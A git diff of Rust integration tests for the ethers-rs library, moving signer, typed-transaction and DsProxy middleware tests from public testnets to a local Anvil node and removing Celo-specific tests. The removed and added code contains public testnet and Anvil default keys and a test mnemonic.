.expect("cannot build wallet")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#[cfg(not(feature = "celo"))]
|
|
||||||
mod eth_tests {
|
|
||||||
use super::*;
|
|
||||||
use ethers_core::utils::Anvil;
|
|
||||||
use ethers_providers::GOERLI;
|
|
||||||
|
|
||||||
#[tokio::test]
|
#[tokio::test]
|
||||||
async fn send_eth() {
|
async fn send_eth() {
|
||||||
let anvil = Anvil::new().spawn();
|
let (provider, anvil) = spawn_anvil();
|
||||||
|
let wallet = get_wallet(&anvil, 0);
|
||||||
|
let address = wallet.address();
|
||||||
|
let provider = provider.with_signer(wallet);
|
||||||
|
|
||||||
// this private key belongs to the above mnemonic
|
let to = anvil.addresses()[1];
|
||||||
let wallet: LocalWallet = anvil.keys()[0].clone().into();
|
|
||||||
let wallet2: LocalWallet = anvil.keys()[1].clone().into();
|
|
||||||
|
|
||||||
// connect to the network
|
|
||||||
let provider = Provider::<Http>::try_from(anvil.endpoint())
|
|
||||||
.unwrap()
|
|
||||||
.interval(Duration::from_millis(10u64));
|
|
||||||
let chain_id = provider.get_chainid().await.unwrap().as_u64();
|
|
||||||
let provider = SignerMiddleware::new_with_provider_chain(provider, wallet).await.unwrap();
|
|
||||||
|
|
||||||
// craft the transaction
|
// craft the transaction
|
||||||
let tx = TransactionRequest::new().to(wallet2.address()).value(10000).chain_id(chain_id);
|
let tx = TransactionRequest::new().to(to).value(10000);
|
||||||
|
|
||||||
let balance_before = provider.get_balance(provider.address(), None).await.unwrap();
|
let balance_before = provider.get_balance(address, None).await.unwrap();
|
||||||
|
|
||||||
// send it!
|
// send it!
|
||||||
provider.send_transaction(tx, None).await.unwrap();
|
provider.send_transaction(tx, None).await.unwrap().await.unwrap().unwrap();
|
||||||
|
|
||||||
let balance_after = provider.get_balance(provider.address(), None).await.unwrap();
|
let balance_after = provider.get_balance(address, None).await.unwrap();
|
||||||
|
|
||||||
assert!(balance_before > balance_after);
|
assert!(balance_before > balance_after);
|
||||||
}
|
}
|
||||||
|
|
||||||
// hardhat compatibility test, to show hardhat rejects tx signed for other chains
|
|
||||||
#[tokio::test]
|
|
||||||
#[ignore]
|
|
||||||
async fn send_with_chain_id_hardhat() {
|
|
||||||
let wallet: LocalWallet =
|
|
||||||
"ac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80".parse().unwrap();
|
|
||||||
let provider = Provider::try_from("http://localhost:8545").unwrap();
|
|
||||||
let client = SignerMiddleware::new(provider, wallet);
|
|
||||||
|
|
||||||
let tx = TransactionRequest::new().to(Address::random()).value(100u64);
|
|
||||||
let res = client.send_transaction(tx, None).await;
|
|
||||||
|
|
||||||
let err = res.unwrap_err();
|
|
||||||
assert!(err.to_string().contains(
|
|
||||||
"Trying to send an incompatible EIP-155 transaction, signed for another chain."
|
|
||||||
));
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
#[ignore]
|
|
||||||
async fn send_with_chain_id_anvil() {
|
|
||||||
let wallet: LocalWallet =
|
|
||||||
"ac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80".parse().unwrap();
|
|
||||||
let provider = Provider::try_from("http://localhost:8545").unwrap();
|
|
||||||
let client = SignerMiddleware::new(provider, wallet);
|
|
||||||
|
|
||||||
let tx = TransactionRequest::new().to(Address::random()).value(100u64);
|
|
||||||
let res = client.send_transaction(tx, None).await;
|
|
||||||
|
|
||||||
let _err = res.unwrap_err();
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
#[tokio::test]
|
||||||
async fn pending_txs_with_confirmations_testnet() {
|
async fn pending_txs_with_confirmations_testnet() {
|
||||||
let provider = GOERLI.provider().interval(Duration::from_millis(3000));
|
let (provider, anvil) = spawn_anvil();
|
||||||
let chain_id = provider.get_chainid().await.unwrap();
|
let wallet = get_wallet(&anvil, 0);
|
||||||
let wallet = WALLETS.next().with_chain_id(chain_id.as_u64());
|
|
||||||
let address = wallet.address();
|
let address = wallet.address();
|
||||||
let provider = SignerMiddleware::new(provider, wallet);
|
let provider = provider.with_signer(wallet);
|
||||||
generic_pending_txs_test(provider, address).await;
|
generic_pending_txs_test(provider, address).await;
|
||||||
}
|
}
|
||||||
|
|
||||||
// different keys to avoid nonce errors
|
|
||||||
#[tokio::test]
|
#[tokio::test]
|
||||||
async fn websocket_pending_txs_with_confirmations_testnet() {
|
async fn websocket_pending_txs_with_confirmations_testnet() {
|
||||||
let provider = GOERLI.ws().await.interval(Duration::from_millis(3000));
|
let (provider, anvil) = spawn_anvil_ws().await;
|
||||||
let chain_id = provider.get_chainid().await.unwrap();
|
let wallet = get_wallet(&anvil, 0);
|
||||||
let wallet = WALLETS.next().with_chain_id(chain_id.as_u64());
|
|
||||||
let address = wallet.address();
|
let address = wallet.address();
|
||||||
let provider = SignerMiddleware::new(provider, wallet);
|
let provider = provider.with_signer(wallet);
|
||||||
generic_pending_txs_test(provider, address).await;
|
generic_pending_txs_test(provider, address).await;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn typed_txs() {
|
||||||
|
let (provider, anvil) = spawn_anvil();
|
||||||
|
let wallet = get_wallet(&anvil, 0);
|
||||||
|
let address = wallet.address();
|
||||||
|
let provider = provider.with_signer(wallet);
|
||||||
|
|
||||||
|
let nonce = provider.get_transaction_count(address, None).await.unwrap();
|
||||||
|
let bn = Some(BlockNumber::Pending.into());
|
||||||
|
let gas_price = provider.get_gas_price().await.unwrap() * 125 / 100;
|
||||||
|
|
||||||
|
let tx = TransactionRequest::new().from(address).to(address).nonce(nonce).gas_price(gas_price);
|
||||||
|
let tx1 = provider.send_transaction(tx.clone(), bn).await.unwrap();
|
||||||
|
|
||||||
|
let tx = tx.from(address).to(address).nonce(nonce + 1).with_access_list(vec![]);
|
||||||
|
let tx2 = provider.send_transaction(tx, bn).await.unwrap();
|
||||||
|
|
||||||
|
let tx = Eip1559TransactionRequest::new()
|
||||||
|
.from(address)
|
||||||
|
.to(address)
|
||||||
|
.nonce(nonce + 2)
|
||||||
|
.max_fee_per_gas(gas_price)
|
||||||
|
.max_priority_fee_per_gas(gas_price);
|
||||||
|
let tx3 = provider.send_transaction(tx, bn).await.unwrap();
|
||||||
|
|
||||||
|
futures_util::join!(check_tx(tx1, 0), check_tx(tx2, 1), check_tx(tx3, 2));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn send_transaction_handles_tx_from_field() {
|
||||||
|
// launch anvil
|
||||||
|
let (provider, anvil) = spawn_anvil_ws().await;
|
||||||
|
|
||||||
|
// grab 2 wallets
|
||||||
|
let signer: LocalWallet = anvil.keys()[0].clone().into();
|
||||||
|
let other: LocalWallet = anvil.keys()[1].clone().into();
|
||||||
|
|
||||||
|
// connect to the network
|
||||||
|
let provider =
|
||||||
|
SignerMiddleware::new_with_provider_chain(provider, signer.clone()).await.unwrap();
|
||||||
|
|
||||||
|
// sending a TransactionRequest with a from field of None should result
|
||||||
|
// in a transaction from the signer address
|
||||||
|
let request_from_none = TransactionRequest::new();
|
||||||
|
let receipt =
|
||||||
|
provider.send_transaction(request_from_none, None).await.unwrap().await.unwrap().unwrap();
|
||||||
|
let sent_tx = provider.get_transaction(receipt.transaction_hash).await.unwrap().unwrap();
|
||||||
|
|
||||||
|
assert_eq!(sent_tx.from, signer.address());
|
||||||
|
|
||||||
|
// sending a TransactionRequest with the signer as the from address should
|
||||||
|
// result in a transaction from the signer address
|
||||||
|
let request_from_signer = TransactionRequest::new().from(signer.address());
|
||||||
|
let receipt =
|
||||||
|
provider.send_transaction(request_from_signer, None).await.unwrap().await.unwrap().unwrap();
|
||||||
|
let sent_tx = provider.get_transaction(receipt.transaction_hash).await.unwrap().unwrap();
|
||||||
|
|
||||||
|
assert_eq!(sent_tx.from, signer.address());
|
||||||
|
|
||||||
|
// sending a TransactionRequest with a from address that is not the signer
|
||||||
|
// should result in a transaction from the specified address
|
||||||
|
let request_from_other = TransactionRequest::new().from(other.address());
|
||||||
|
let receipt =
|
||||||
|
provider.send_transaction(request_from_other, None).await.unwrap().await.unwrap().unwrap();
|
||||||
|
let sent_tx = provider.get_transaction(receipt.transaction_hash).await.unwrap().unwrap();
|
||||||
|
|
||||||
|
assert_eq!(sent_tx.from, other.address());
|
||||||
|
}
|
||||||
|
|
||||||
async fn generic_pending_txs_test<M: Middleware>(provider: M, who: Address) {
|
async fn generic_pending_txs_test<M: Middleware>(provider: M, who: Address) {
|
||||||
let tx = TransactionRequest::new().to(who).from(who);
|
let tx = TransactionRequest::new().to(who).from(who);
|
||||||
let pending_tx = provider.send_transaction(tx, None).await.unwrap();
|
let pending_tx = provider.send_transaction(tx, None).await.unwrap();
|
||||||
|
@ -175,21 +122,6 @@ mod eth_tests {
|
||||||
assert_eq!(receipt.transaction_hash, tx_hash);
|
assert_eq!(receipt.transaction_hash, tx_hash);
|
||||||
}
|
}
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn typed_txs() {
|
|
||||||
let provider = GOERLI.provider();
|
|
||||||
|
|
||||||
let chain_id = provider.get_chainid().await.unwrap();
|
|
||||||
let wallet = WALLETS.next().with_chain_id(chain_id.as_u64());
|
|
||||||
let address = wallet.address();
|
|
||||||
// our wallet
|
|
||||||
let provider = SignerMiddleware::new(provider, wallet);
|
|
||||||
|
|
||||||
// Uncomment the below and run this test to re-fund the wallets if they get drained.
|
|
||||||
// Would be ideal if we'd have a way to do this automatically, but this should be
|
|
||||||
// happening rarely enough that it doesn't matter.
|
|
||||||
// WALLETS.fund(provider.provider(), 10u32).await;
|
|
||||||
|
|
||||||
async fn check_tx<P: JsonRpcClient + Clone>(
|
async fn check_tx<P: JsonRpcClient + Clone>(
|
||||||
pending_tx: ethers_providers::PendingTransaction<'_, P>,
|
pending_tx: ethers_providers::PendingTransaction<'_, P>,
|
||||||
expected: u64,
|
expected: u64,
|
||||||
|
@ -197,160 +129,12 @@ mod eth_tests {
|
||||||
let provider = pending_tx.provider();
|
let provider = pending_tx.provider();
|
||||||
let receipt = pending_tx.await.unwrap().unwrap();
|
let receipt = pending_tx.await.unwrap().unwrap();
|
||||||
let tx = provider.get_transaction(receipt.transaction_hash).await.unwrap().unwrap();
|
let tx = provider.get_transaction(receipt.transaction_hash).await.unwrap().unwrap();
|
||||||
assert_eq!(receipt.transaction_type, Some(expected.into()));
|
// legacy can be either None or Some(0)
|
||||||
|
// TODO: https://github.com/foundry-rs/foundry/issues/4428
|
||||||
|
// if expected == 0 {
|
||||||
|
// assert!(receipt.transaction_type.is_none() || receipt.transaction_type ==
|
||||||
|
// Some(0.into())); } else {
|
||||||
|
// assert_eq!(receipt.transaction_type, Some(expected.into()));
|
||||||
|
// }
|
||||||
assert_eq!(tx.transaction_type, Some(expected.into()));
|
assert_eq!(tx.transaction_type, Some(expected.into()));
|
||||||
}
|
}
|
||||||
|
|
||||||
let nonce = provider.get_transaction_count(address, None).await.unwrap();
|
|
||||||
let bn = Some(BlockNumber::Pending.into());
|
|
||||||
let gas_price = provider.get_gas_price().await.unwrap() * 125 / 100;
|
|
||||||
|
|
||||||
let tx =
|
|
||||||
TransactionRequest::new().from(address).to(address).nonce(nonce).gas_price(gas_price);
|
|
||||||
let tx1 = provider.send_transaction(tx.clone(), bn).await.unwrap();
|
|
||||||
|
|
||||||
let tx = tx.clone().from(address).to(address).nonce(nonce + 1).with_access_list(vec![]);
|
|
||||||
let tx2 = provider.send_transaction(tx, bn).await.unwrap();
|
|
||||||
|
|
||||||
let tx = Eip1559TransactionRequest::new()
|
|
||||||
.from(address)
|
|
||||||
.to(address)
|
|
||||||
.nonce(nonce + 2)
|
|
||||||
.max_fee_per_gas(gas_price)
|
|
||||||
.max_priority_fee_per_gas(gas_price);
|
|
||||||
let tx3 = provider.send_transaction(tx, bn).await.unwrap();
|
|
||||||
|
|
||||||
futures_util::join!(check_tx(tx1, 0), check_tx(tx2, 1), check_tx(tx3, 2),);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn send_transaction_handles_tx_from_field() {
|
|
||||||
// launch anvil
|
|
||||||
let anvil = Anvil::new().spawn();
|
|
||||||
|
|
||||||
// grab 2 wallets
|
|
||||||
let signer: LocalWallet = anvil.keys()[0].clone().into();
|
|
||||||
let other: LocalWallet = anvil.keys()[1].clone().into();
|
|
||||||
|
|
||||||
// connect to the network
|
|
||||||
let provider = Provider::try_from(anvil.endpoint()).unwrap();
|
|
||||||
let provider =
|
|
||||||
SignerMiddleware::new_with_provider_chain(provider, signer.clone()).await.unwrap();
|
|
||||||
|
|
||||||
// sending a TransactionRequest with a from field of None should result
|
|
||||||
// in a transaction from the signer address
|
|
||||||
let request_from_none = TransactionRequest::new();
|
|
||||||
let receipt = provider
|
|
||||||
.send_transaction(request_from_none, None)
|
|
||||||
.await
|
|
||||||
.unwrap()
|
|
||||||
.await
|
|
||||||
.unwrap()
|
|
||||||
.unwrap();
|
|
||||||
let sent_tx = provider.get_transaction(receipt.transaction_hash).await.unwrap().unwrap();
|
|
||||||
|
|
||||||
assert_eq!(sent_tx.from, signer.address());
|
|
||||||
|
|
||||||
// sending a TransactionRequest with the signer as the from address should
|
|
||||||
// result in a transaction from the signer address
|
|
||||||
let request_from_signer = TransactionRequest::new().from(signer.address());
|
|
||||||
let receipt = provider
|
|
||||||
.send_transaction(request_from_signer, None)
|
|
||||||
.await
|
|
||||||
.unwrap()
|
|
||||||
.await
|
|
||||||
.unwrap()
|
|
||||||
.unwrap();
|
|
||||||
let sent_tx = provider.get_transaction(receipt.transaction_hash).await.unwrap().unwrap();
|
|
||||||
|
|
||||||
assert_eq!(sent_tx.from, signer.address());
|
|
||||||
|
|
||||||
// sending a TransactionRequest with a from address that is not the signer
|
|
||||||
// should result in a transaction from the specified address
|
|
||||||
let request_from_other = TransactionRequest::new().from(other.address());
|
|
||||||
let receipt = provider
|
|
||||||
.send_transaction(request_from_other, None)
|
|
||||||
.await
|
|
||||||
.unwrap()
|
|
||||||
.await
|
|
||||||
.unwrap()
|
|
||||||
.unwrap();
|
|
||||||
let sent_tx = provider.get_transaction(receipt.transaction_hash).await.unwrap().unwrap();
|
|
||||||
|
|
||||||
assert_eq!(sent_tx.from, other.address());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#[cfg(feature = "celo")]
|
|
||||||
mod celo_tests {
|
|
||||||
use super::*;
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_send_transaction() {
|
|
||||||
// Celo testnet
|
|
||||||
let provider = Provider::<Http>::try_from("https://alfajores-forno.celo-testnet.org")
|
|
||||||
.unwrap()
|
|
||||||
.interval(Duration::from_millis(3000u64));
|
|
||||||
let chain_id = provider.get_chainid().await.unwrap().as_u64();
|
|
||||||
|
|
||||||
// Funded with https://celo.org/developers/faucet
|
|
||||||
// Please do not drain this account :)
|
|
||||||
let wallet = "d652abb81e8c686edba621a895531b1f291289b63b5ef09a94f686a5ecdd5db1"
|
|
||||||
.parse::<LocalWallet>()
|
|
||||||
.unwrap()
|
|
||||||
.with_chain_id(chain_id);
|
|
||||||
let client = SignerMiddleware::new(provider, wallet);
|
|
||||||
|
|
||||||
let balance_before = client.get_balance(client.address(), None).await.unwrap();
|
|
||||||
let tx = TransactionRequest::pay(client.address(), 100);
|
|
||||||
let _receipt =
|
|
||||||
client.send_transaction(tx, None).await.unwrap().confirmations(3).await.unwrap();
|
|
||||||
let balance_after = client.get_balance(client.address(), None).await.unwrap();
|
|
||||||
assert!(balance_before > balance_after);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn deploy_and_call_contract() {
|
|
||||||
// compiles the given contract and returns the ABI and Bytecode
|
|
||||||
fn compile_contract(path: &str, name: &str) -> (Abi, Bytes) {
|
|
||||||
let path = format!("./tests/solidity-contracts/{path}");
|
|
||||||
let compiled = Solc::default().compile_source(&path).unwrap();
|
|
||||||
let contract = compiled.get(&path, name).expect("could not find contract");
|
|
||||||
let (abi, bin, _) = contract.into_parts_or_default();
|
|
||||||
(abi, bin)
|
|
||||||
}
|
|
||||||
|
|
||||||
let (abi, bytecode) = compile_contract("SimpleStorage.sol", "SimpleStorage");
|
|
||||||
|
|
||||||
// Celo testnet
|
|
||||||
let provider = Provider::<Http>::try_from("https://alfajores-forno.celo-testnet.org")
|
|
||||||
.unwrap()
|
|
||||||
.interval(Duration::from_millis(6000));
|
|
||||||
let chain_id = provider.get_chainid().await.unwrap().as_u64();
|
|
||||||
|
|
||||||
// Funded with https://celo.org/developers/faucet
|
|
||||||
let wallet = "58ea5643a78c36926ad5128a6b0d8dfcc7fc705788a993b1c724be3469bc9697"
|
|
||||||
.parse::<LocalWallet>()
|
|
||||||
.unwrap()
|
|
||||||
.with_chain_id(chain_id);
|
|
||||||
let client = SignerMiddleware::new_with_provider_chain(provider, wallet).await.unwrap();
|
|
||||||
let client = Arc::new(client);
|
|
||||||
|
|
||||||
let factory = ContractFactory::new(abi, bytecode, client);
|
|
||||||
let deployer = factory.deploy(()).unwrap().legacy();
|
|
||||||
let contract = deployer.block(BlockNumber::Pending).send().await.unwrap();
|
|
||||||
|
|
||||||
let value: U256 = contract.method("value", ()).unwrap().call().await.unwrap();
|
|
||||||
assert_eq!(value, 0.into());
|
|
||||||
|
|
||||||
// make a state mutating transaction
|
|
||||||
// gas estimation costs are sometimes under-reported on celo,
|
|
||||||
// so we manually set it to avoid failures
|
|
||||||
let call = contract.method::<_, H256>("setValue", U256::from(1)).unwrap().gas(100000);
|
|
||||||
let pending_tx = call.send().await.unwrap();
|
|
||||||
let _receipt = pending_tx.await.unwrap();
|
|
||||||
|
|
||||||
let value: U256 = contract.method("value", ()).unwrap().call().await.unwrap();
|
|
||||||
assert_eq!(value, 1.into());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
|
@ -1,54 +1,38 @@
|
||||||
#![cfg(all(not(target_arch = "wasm32"), not(feature = "celo")))]
|
use crate::{get_wallet, spawn_anvil};
|
||||||
|
use ethers_contract::abigen;
|
||||||
use ethers_contract::{BaseContract, ContractFactory};
|
use ethers_core::{abi::AbiEncode, types::*};
|
||||||
use ethers_core::{abi::Abi, types::*, utils::Anvil};
|
|
||||||
use ethers_middleware::{
|
use ethers_middleware::{
|
||||||
transformer::{DsProxy, TransformerMiddleware},
|
transformer::{ds_proxy::factory::DsProxyFactory, DsProxy, TransformerMiddleware},
|
||||||
SignerMiddleware,
|
MiddlewareBuilder, SignerMiddleware,
|
||||||
};
|
};
|
||||||
use ethers_providers::{Http, Middleware, Provider};
|
use ethers_providers::{Http, Middleware, Provider};
|
||||||
use ethers_signers::{LocalWallet, Signer};
|
use ethers_signers::{LocalWallet, Signer};
|
||||||
use ethers_solc::Solc;
|
|
||||||
use rand::Rng;
|
use rand::Rng;
|
||||||
use std::{convert::TryFrom, sync::Arc, time::Duration};
|
use std::sync::Arc;
|
||||||
|
|
||||||
type HttpWallet = SignerMiddleware<Provider<Http>, LocalWallet>;
|
type HttpWallet = SignerMiddleware<Provider<Http>, LocalWallet>;
|
||||||
|
|
||||||
// compiles the given contract and returns the ABI and Bytecode
|
abigen!(SimpleStorage, "../tests/testdata/SimpleStorage.json");
|
||||||
fn compile_contract(path: &str, name: &str) -> (Abi, Bytes) {
|
|
||||||
let path = format!("./tests/solidity-contracts/{path}");
|
|
||||||
let compiled = Solc::default().compile_source(&path).unwrap();
|
|
||||||
let contract = compiled.get(&path, name).expect("could not find contract");
|
|
||||||
let (abi, bin, _) = contract.into_parts_or_default();
|
|
||||||
(abi, bin)
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
#[tokio::test]
|
||||||
|
#[ignore]
|
||||||
async fn ds_proxy_transformer() {
|
async fn ds_proxy_transformer() {
|
||||||
// randomness
|
// randomness
|
||||||
let mut rng = rand::thread_rng();
|
let mut rng = rand::thread_rng();
|
||||||
|
|
||||||
// spawn anvil and instantiate a signer middleware.
|
// spawn anvil and instantiate a signer middleware.
|
||||||
let anvil = Anvil::new().spawn();
|
let (provider, anvil) = spawn_anvil();
|
||||||
let wallet: LocalWallet = anvil.keys()[0].clone().into();
|
let wallet = get_wallet(&anvil, 0);
|
||||||
let provider = Provider::<Http>::try_from(anvil.endpoint())
|
let address = wallet.address();
|
||||||
.unwrap()
|
let provider = Arc::new(provider.with_signer(wallet));
|
||||||
.interval(Duration::from_millis(10u64));
|
|
||||||
let chain_id = provider.get_chainid().await.unwrap().as_u64();
|
|
||||||
let wallet = wallet.with_chain_id(chain_id);
|
|
||||||
let signer_middleware = SignerMiddleware::new(provider.clone(), wallet);
|
|
||||||
let wallet_addr = signer_middleware.address();
|
|
||||||
let provider = Arc::new(signer_middleware.clone());
|
|
||||||
|
|
||||||
// deploy DsProxyFactory which we'll use to deploy a new DsProxy contract.
|
// deploy DsProxyFactory which we'll use to deploy a new DsProxy contract.
|
||||||
let (abi, bytecode) = compile_contract("DSProxy.sol", "DSProxyFactory");
|
let deploy_tx = DsProxyFactory::deploy(provider.clone(), ()).unwrap();
|
||||||
let factory = ContractFactory::new(abi, bytecode, Arc::clone(&provider));
|
let ds_proxy_factory = deploy_tx.send().await.unwrap();
|
||||||
let ds_proxy_factory = factory.deploy(()).unwrap().legacy();
|
|
||||||
let ds_proxy_factory = ds_proxy_factory.send().await.unwrap();
|
|
||||||
|
|
||||||
// deploy a new DsProxy contract.
|
// deploy a new DsProxy contract.
|
||||||
let ds_proxy = DsProxy::build::<HttpWallet, Arc<HttpWallet>>(
|
let ds_proxy = DsProxy::build::<HttpWallet, Arc<HttpWallet>>(
|
||||||
Arc::clone(&provider),
|
provider.clone(),
|
||||||
Some(ds_proxy_factory.address()),
|
Some(ds_proxy_factory.address()),
|
||||||
provider.address(),
|
provider.address(),
|
||||||
)
|
)
|
||||||
|
@ -57,27 +41,28 @@ async fn ds_proxy_transformer() {
|
||||||
let ds_proxy_addr = ds_proxy.address();
|
let ds_proxy_addr = ds_proxy.address();
|
||||||
|
|
||||||
// deploy SimpleStorage and try to update its value via transformer middleware.
|
// deploy SimpleStorage and try to update its value via transformer middleware.
|
||||||
let (abi, bytecode) = compile_contract("SimpleStorage.sol", "SimpleStorage");
|
let deploy_tx = SimpleStorage::deploy(provider.clone(), ()).unwrap();
|
||||||
let factory = ContractFactory::new(abi, bytecode, Arc::clone(&provider));
|
let simple_storage = deploy_tx.send().await.unwrap();
|
||||||
let deployer = factory.deploy(()).unwrap().legacy();
|
|
||||||
let simple_storage = deployer.send().await.unwrap();
|
|
||||||
|
|
||||||
// instantiate a new transformer middleware.
|
// instantiate a new transformer middleware.
|
||||||
let provider = TransformerMiddleware::new(signer_middleware, ds_proxy.clone());
|
let provider = TransformerMiddleware::new(provider, ds_proxy);
|
||||||
|
|
||||||
// broadcast the setValue tx via transformer middleware (first wallet).
|
// broadcast the setValue tx via transformer middleware (first wallet).
|
||||||
let expected_value: u64 = rng.gen();
|
let expected_value: u64 = rng.gen();
|
||||||
let calldata = simple_storage
|
let _receipt = simple_storage
|
||||||
.encode("setValue", U256::from(expected_value))
|
.set_value(expected_value.into())
|
||||||
.expect("could not get ABI encoded data");
|
.send()
|
||||||
let tx = TransactionRequest::new().to(simple_storage.address()).data(calldata);
|
.await
|
||||||
provider.send_transaction(tx, None).await.unwrap().await.unwrap();
|
.unwrap()
|
||||||
|
.await
|
||||||
|
.unwrap()
|
||||||
|
.unwrap();
|
||||||
|
|
||||||
// verify that DsProxy's state was updated.
|
// verify that DsProxy's state was updated.
|
||||||
let last_sender = provider.get_storage_at(ds_proxy_addr, H256::zero(), None).await.unwrap();
|
let last_sender = provider.get_storage_at(ds_proxy_addr, H256::zero(), None).await.unwrap();
|
||||||
let last_value =
|
let last_value =
|
||||||
provider.get_storage_at(ds_proxy_addr, H256::from_low_u64_be(1u64), None).await.unwrap();
|
provider.get_storage_at(ds_proxy_addr, H256::from_low_u64_be(1u64), None).await.unwrap();
|
||||||
assert_eq!(last_sender, wallet_addr.into());
|
assert_eq!(last_sender, address.into());
|
||||||
assert_eq!(last_value, H256::from_low_u64_be(expected_value));
|
assert_eq!(last_value, H256::from_low_u64_be(expected_value));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -87,26 +72,18 @@ async fn ds_proxy_code() {
|
||||||
let mut rng = rand::thread_rng();
|
let mut rng = rand::thread_rng();
|
||||||
|
|
||||||
// spawn anvil and instantiate a signer middleware.
|
// spawn anvil and instantiate a signer middleware.
|
||||||
let anvil = Anvil::new().spawn();
|
let (provider, anvil) = spawn_anvil();
|
||||||
let wallet: LocalWallet = anvil.keys()[1].clone().into();
|
let wallet = get_wallet(&anvil, 0);
|
||||||
let provider = Provider::<Http>::try_from(anvil.endpoint())
|
let address = wallet.address();
|
||||||
.unwrap()
|
let provider = Arc::new(provider.with_signer(wallet));
|
||||||
.interval(Duration::from_millis(10u64));
|
|
||||||
let chain_id = provider.get_chainid().await.unwrap().as_u64();
|
|
||||||
let wallet = wallet.with_chain_id(chain_id);
|
|
||||||
let signer_middleware = SignerMiddleware::new(provider.clone(), wallet);
|
|
||||||
let wallet_addr = signer_middleware.address();
|
|
||||||
let provider = Arc::new(signer_middleware.clone());
|
|
||||||
|
|
||||||
// deploy DsProxyFactory which we'll use to deploy a new DsProxy contract.
|
// deploy DsProxyFactory which we'll use to deploy a new DsProxy contract.
|
||||||
let (abi, bytecode) = compile_contract("DSProxy.sol", "DSProxyFactory");
|
let deploy_tx = DsProxyFactory::deploy(provider.clone(), ()).unwrap();
|
||||||
let factory = ContractFactory::new(abi, bytecode, Arc::clone(&provider));
|
let ds_proxy_factory = deploy_tx.send().await.unwrap();
|
||||||
let ds_proxy_factory = factory.deploy(()).unwrap().legacy();
|
|
||||||
let ds_proxy_factory = ds_proxy_factory.send().await.unwrap();
|
|
||||||
|
|
||||||
// deploy a new DsProxy contract.
|
// deploy a new DsProxy contract.
|
||||||
let ds_proxy = DsProxy::build::<HttpWallet, Arc<HttpWallet>>(
|
let ds_proxy = DsProxy::build::<HttpWallet, Arc<HttpWallet>>(
|
||||||
Arc::clone(&provider),
|
provider.clone(),
|
||||||
Some(ds_proxy_factory.address()),
|
Some(ds_proxy_factory.address()),
|
||||||
provider.address(),
|
provider.address(),
|
||||||
)
|
)
|
||||||
|
@ -114,31 +91,30 @@ async fn ds_proxy_code() {
|
||||||
.unwrap();
|
.unwrap();
|
||||||
let ds_proxy_addr = ds_proxy.address();
|
let ds_proxy_addr = ds_proxy.address();
|
||||||
|
|
||||||
// compile the SimpleStorage contract which we will use to interact via DsProxy.
|
// encode the calldata
|
||||||
let (abi, bytecode) = compile_contract("SimpleStorage.sol", "SimpleStorage");
|
|
||||||
let ss_base_contract: BaseContract = abi.into();
|
|
||||||
let expected_value: u64 = rng.gen();
|
let expected_value: u64 = rng.gen();
|
||||||
let calldata = ss_base_contract
|
let calldata = SetValueCall { value: expected_value.into() }.encode();
|
||||||
.encode("setValue", U256::from(expected_value))
|
|
||||||
.expect("could not get ABI encoded data");
|
|
||||||
|
|
||||||
// execute code via the deployed DsProxy contract.
|
// execute code via the deployed DsProxy contract.
|
||||||
ds_proxy
|
ds_proxy
|
||||||
.execute::<HttpWallet, Arc<HttpWallet>, Bytes>(
|
.execute::<HttpWallet, Arc<HttpWallet>, Bytes>(
|
||||||
Arc::clone(&provider),
|
Arc::clone(&provider),
|
||||||
bytecode.clone(),
|
SIMPLESTORAGE_BYTECODE.clone(),
|
||||||
calldata,
|
calldata.into(),
|
||||||
)
|
)
|
||||||
.expect("could not construct DSProxy contract call")
|
.expect("could not construct DSProxy contract call")
|
||||||
.legacy()
|
.legacy()
|
||||||
.send()
|
.send()
|
||||||
.await
|
.await
|
||||||
|
.unwrap()
|
||||||
|
.await
|
||||||
|
.unwrap()
|
||||||
.unwrap();
|
.unwrap();
|
||||||
|
|
||||||
// verify that DsProxy's state was updated.
|
// verify that DsProxy's state was updated.
|
||||||
let last_sender = provider.get_storage_at(ds_proxy_addr, H256::zero(), None).await.unwrap();
|
let last_sender = provider.get_storage_at(ds_proxy_addr, H256::zero(), None).await.unwrap();
|
||||||
let last_value =
|
let last_value =
|
||||||
provider.get_storage_at(ds_proxy_addr, H256::from_low_u64_be(1u64), None).await.unwrap();
|
provider.get_storage_at(ds_proxy_addr, H256::from_low_u64_be(1u64), None).await.unwrap();
|
||||||
assert_eq!(last_sender, wallet_addr.into());
|
assert_eq!(last_sender, address.into());
|
||||||
assert_eq!(last_value, H256::from_low_u64_be(expected_value));
|
assert_eq!(last_value, H256::from_low_u64_be(expected_value));
|
||||||
}
|
}
|
||||||
|
|
|
@ -0,0 +1,62 @@
|
||||||
|
static WALLETS: Lazy<TestWallets> = Lazy::new(|| {
|
||||||
|
TestWallets {
|
||||||
|
mnemonic: MnemonicBuilder::default()
|
||||||
|
// Please don't drain this :)
|
||||||
|
.phrase("impose air often almost medal sudden finish quote dwarf devote theme layer"),
|
||||||
|
next: Default::default(),
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
#[derive(Debug, Default)]
|
||||||
|
struct TestWallets {
|
||||||
|
mnemonic: MnemonicBuilder<English>,
|
||||||
|
next: AtomicU8,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl TestWallets {
|
||||||
|
/// Helper for funding the wallets with an instantiated provider
|
||||||
|
#[allow(unused)]
|
||||||
|
pub async fn fund<T: JsonRpcClient, U: Into<u32>>(&self, provider: &Provider<T>, n: U) {
|
||||||
|
let addrs = (0..n.into()).map(|i| self.get(i).address()).collect::<Vec<_>>();
|
||||||
|
// hardcoded funder address private key, GOERLI
|
||||||
|
